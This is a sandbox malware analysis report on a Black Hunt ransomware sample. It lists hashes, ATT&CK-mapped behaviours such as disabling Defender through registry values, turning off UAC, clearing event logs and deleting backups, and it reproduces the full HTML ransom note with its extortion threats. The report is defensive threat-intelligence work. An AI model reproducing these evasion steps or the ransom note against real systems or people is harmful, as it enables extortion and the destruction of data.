34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18-01-2024 22:59

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General

Target

34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
Size

707KB
MD5

c43a2a88ffd2fa5fc37efd3cca1a2a09
SHA1

909c06e22448f91d9d953abdd79d9058a5de5ea5
SHA256

34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39
SHA512

d86d213c3f0f1fd6af7d2597b9070446f75520ce4c716f89ed0e5ce4f29b4b1073673757d2f0fd5afc8926634aaf6b22ba30cca458ca999ab3574ab2d57d4c59
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1m8avnh:6uaTmkZJ+naie5OTamgEoKxLWN0h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> qJrxlcK44B1wQk5B </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1656	fsutil.exe
4176	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
5084	wevtutil.exe
3372	wevtutil.exe
3432	wevtutil.exe
2424	wevtutil.exe
3560	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1716	bcdedit.exe
1648	bcdedit.exe
1228	bcdedit.exe
3400	bcdedit.exe

Renames multiple (2901) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1640	wbadmin.exe
2644	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3340	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\R:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\I:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\O:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\S:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\A:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\W:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\E:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\K:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\B:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\P:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\J:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\Z:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\X:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\V:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\Q:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\Y:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\H:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\G:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\L:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\N:	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened (read-only)	\??\M:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\epl-v10.html	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse.nl_ja_4.4.0.v20140623020002.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\#BlackHunt_ReadMe.hta	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\#BlackHunt_Private.key	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+5	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\jfluid-server_zh_CN.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Chicago	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\art\#BlackHunt_ReadMe.txt	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\#BlackHunt_ReadMe.txt	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme.nl_ja_4.4.0.v20140623020002.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\chapters-static.png	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\#BlackHunt_ReadMe.hta	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#BlackHunt_ReadMe.txt	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\plugin.properties	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\UCT	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jre7\lib\management\snmp.acl.template	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Berlin	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\CST6CDT	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\vistabg.png	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-attach.xml	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-static.png	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
